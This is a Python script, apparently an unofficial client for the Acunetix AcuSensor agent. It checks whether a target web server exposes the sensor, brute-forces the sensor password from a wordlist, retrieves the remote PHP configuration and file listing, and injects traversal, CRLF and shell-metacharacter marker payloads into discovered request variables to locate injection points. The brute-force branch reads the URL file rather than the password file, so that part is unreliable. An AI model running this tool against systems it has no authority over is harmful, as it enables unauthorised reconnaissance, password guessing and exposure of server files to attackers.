import sys
import collections
import argparse
import re
import base64
import requests
import logging
import hashlib
from itertools import izip

logging.basicConfig(level=logging.ERROR)

payloads = {
        'ACUSTART\r\nACUEND',
        'ACUSTART\'"^|;<>ACUEND',
        '1ACUSTARTFILE/../../xxx\\..\\..\\ACUENDFILE',
        'ACUSTARTFILEDELETE/../../xxx\\..\\..\\ACUENDFILEDELETE',
        'ACUSTARTFILECREATE/../../xxx\\..\\..\\ACUENDFILECREATE',
        '/ACUSTARTFILECREATE/ACUENDFILECREATE',
        '/ACUSTARTFILEDELETE/ACUENDFILEDELETE',
        '1/ACUSTARTFILE/ACUENDFILE',
        'ACUSTART',
        '\ACUSTARTFILECREATE\ACUENDFILECREATE',
        '\ACUSTARTFILEDELETE\ACUENDFILEDELETE',
        '1\ACUSTARTFILE\ACUENDFILE',
        'a[$acunetix]=1',
        'ACUSTART\r\n\b\nACUEND',
        '1ACUSTART\'"*/\r\n <?phpACUEND'
        }

def decode_acu(s):
    while s:
        try:
            s, ret = decode_lv(s)
            yield ret
        except Exception as e:
            print('Exception: %s' % e)
            break

def decode_lv(s):
    ret = dict()
    vuln_length, s = int(s[:8], 16), s[8:]
    logging.debug('vuln length: %d', vuln_length)

    vuln, s = s[:vuln_length], s[vuln_length:]
    ret['type'] = vuln
    logging.info('vuln_type: %s', (vuln))

    filename_type, s = s[0], s[1:]
    logging.debug('argument type: %s', filename_type)

    if filename_type == 'a':
        nb_filenames,s = int(s[:8], 16), s[8:]
        logging.debug('arguments array of size %d', nb_filenames)
        ret['arguments'] = []
        for fnumber in range(nb_filenames):
            filename_length,s = int(s[:8], 16), s[8:]

            filename,s = s[:filename_length], s[filename_length:]
            logging.info('\targument %d: %s', fnumber, filename)
            ret['arguments'].append(filename)
    elif filename_type == 's':
        filename_length = int(s[:8], 16)
        s = s[8:]

        filename = s[:filename_length]
        s = s[filename_length:]
        ret['arguments'] = [filename]
    elif filename_type == 'n':
        ret['arguments'] = None
        pass

    vuln_length, s = int(s[:8], 16), s[8:]

    logging.debug('vuln length: %s', vuln_length)
    vuln, s = s[:vuln_length], s[vuln_length:]
    logging.info('vuln_type: %s', vuln)
    ret['filename'] = vuln

    line_number, s = int(s[:8], 16), s[8:]
    logging.debug('Line number: %d', line_number)
    ret['line_number'] = line_number

    filename_type,s = s[0], s[1:]
    logging.debug('type: %s', filename_type)
    ret['type2'] = vuln
    if filename_type == 'a':
        nb_filenames, s = int(s[:8], 16), s[8:]
        logging.debug('array of size %d', nb_filenames)
        ret['msg'] = []
        for fnumber in range(nb_filenames):
            filename_length,s = int(s[:8], 16), s[8:]
            filename,s = s[:filename_length], s[filename_length:]
            logging.info('\tfilename: %s', filename)
            ret['msg'].append(filename)
    elif filename_type == 's':
        filename_length, s = int(s[:8], 16), s[8:]
        filename,s = s[:filename_length], s[filename_length:]
        logging.info('filename: %s', filename)
        ret['msg'] = [filename]
    elif filename_type == 'n':
        pass
        ret['msg'] = None

    return s, ret


def __create_parser():
    parser = argparse.ArgumentParser(description='Ghetto acusensor client')
    parser.add_argument('host', default='http://192.168.56.1:8080', nargs='?', help='the remote host to test')
    parser.add_argument('password', default='9065ce82caa61f599de0745ee6191abd', nargs='?', help='the acusensor password')
    parser.add_argument('-u', '--url_file', help='a file containing all the urls to test')
    parser.add_argument('-c', '--config', action='store_true', help='get remote php (mis)configuration')
    parser.add_argument('-f', '--filelist', action='store_true', help='get remote file list')
    parser.add_argument('-b', '--bruteforce', help='a file containing possible acusensor password to bruteforce')
    parser.add_argument('-v', '--verbose', action='store_true', help='dump all requests and answers')
    args = parser.parse_args()
    return args


def is_acusensor_enabled(args):
    print('[+] Checking if the acusensor is enabled on %s' % args.host)
    r = requests.get(args.host,
            headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password}
            )
    try:
        head,data = re.findall('<!--ACUASPECT:(.+?)-->', r.text)
        if 'PONG' in base64.b64decode(head):
            print('[*] Acusensor detected (password: %s).' % args.password)
            return True
    except ValueError:
        pass
    print('[-] The acusensor was not detected on %s, sorry.' % args.host)
    return False


def get_remote_config(args):
    r = requests.get(args.host,
            headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password, 'Acunetix-Aspect-Queries': 'aspectalerts'}
            )
    print('[*] Configuration options:')
    head,data = re.findall('<!--ACUASPECT:(.+?)-->', r.text)
    for i in decode_acu(base64.b64decode(head)):
        if i['type'] == 'Aspect_Alerts':
            print('\n'.join('\t' + a.replace('=', ' = ') for a in i['arguments']))


def get_remote_filelist(args):
    r = requests.get(args.host,
            headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password, 'Acunetix-Aspect-Queries': 'filelist'}
            )
    print('[*] Remote files:')
    head,data = re.findall('<!--ACUASPECT:(.+?)-->', r.text)
    for i in decode_acu(base64.b64decode(head)):
        if i['type'] == 'File_List':
            print('\n'.join('\t' + a for a in i['arguments']))


def do_request(args, verb, payload):
    if verb in ('GET', 'REQUEST'):
        r = requests.get(args.host,
                params = payload,
                headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password}
                )
    elif verb == 'POST':
        r = requests.post(args.host,
                data = payload,
                headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password}
                )
    elif verb == 'Cookie':
        cookies = {k: re.sub('\n|\r', '', v) for k, v in payload.items()}
        r = requests.post(args.host,
                cookies = cookies,
                headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password}
                )
    return r

def main():
    vulnerabilities = dict()
    args = __create_parser()

    if not(args.host.startswith('http://') or args.host.startswith('https://')):
        args.host = 'http://' + args.host

    acusensor_present = False
    if args.bruteforce:
        with open(args.url_file) as f:
            print('[+] Bruteforcing acusensor passwords...')
            for password in f.readlines():
                args.password = hashlib.md5(password).hexdigest()
                if is_acusensor_enabled(args):
                    acusensor_present = True
                    break
    else:
        acusensor_present = is_acusensor_enabled(args)

    if not acusensor_present:
        sys.exit(0)

    if args.config:
        get_remote_config(args)
        return
    elif args.filelist:
        get_remote_filelist(args)
        return

    urls = ''
    if args.url_file:
        with open(args.url_file) as f:
            urls = f.readlines()

    for url in urls:
        print('[+] Trying to get controllable variables at %s:' % url)
        r = requests.get(args.host + url,
                headers = {'Acunetix-Aspect': 'enabled', 'Acunetix-Aspect-Password': args.password}
                )
        head,data = re.findall('<!--ACUASPECT:(.+?)-->', r.text)
        variables = collections.defaultdict(list)
        for i in decode_acu(base64.b64decode(data)):
            if i['type'] == 'Var_Access':
                variables[i['arguments'][0]].append(i['arguments'][1:])

        for verb, var in variables.items():
            for v in var:
                print('\t - $_%s["%s"]' % (verb, v[0]))

        print('[+] Sending payloads for each variable...')
        for verb, var in variables.items():
            for v in var:
                print('\t - $_%s["%s"]' % (verb, v[0]))
                for payload in payloads:
                    r = do_request(args, verb, {v[0]: payload})
                    head,data = re.findall('<!--ACUASPECT:(.+?)-->', r.text)
                    for chunk in decode_acu(base64.b64decode(data)):
                        if args.verbose:
                            print(chunk)
                        if chunk['type'] != 'Var_Access':
                            chunk['var_str'] = '$_%s["%s"]' % (verb, v[0])
                            if chunk['type'] != '':
                                for c in chunk['arguments']:
                                    if payload == c:  # TODO: Use hamming distance here to detect mangled payloads?
                                        vulnerabilities[str(chunk['line_number']) + chunk['filename'] + chunk['type']] = chunk
                            else:
                                for c in chunk['msg']:
                                    chunk['arguments'] = [payload] # We assume that it wasn't tampered with here
                                    vulnerabilities[str(chunk['line_number']) + chunk['filename'] + chunk['type']] = chunk

    if vulnerabilities:
        print('[+] Vulnerabilities:')
        for _, data in vulnerabilities.items():
            print('\t- %s in %s:%s with %s set to "%s" as parameter (%s)' % (data['msg'][0], data['filename'], data['line_number'], data['var_str'], data['arguments'][0], data['type']))
    else:
        print('[-] No vulnerabilities were found, sorry.')

if __name__ == '__main__':
    main()
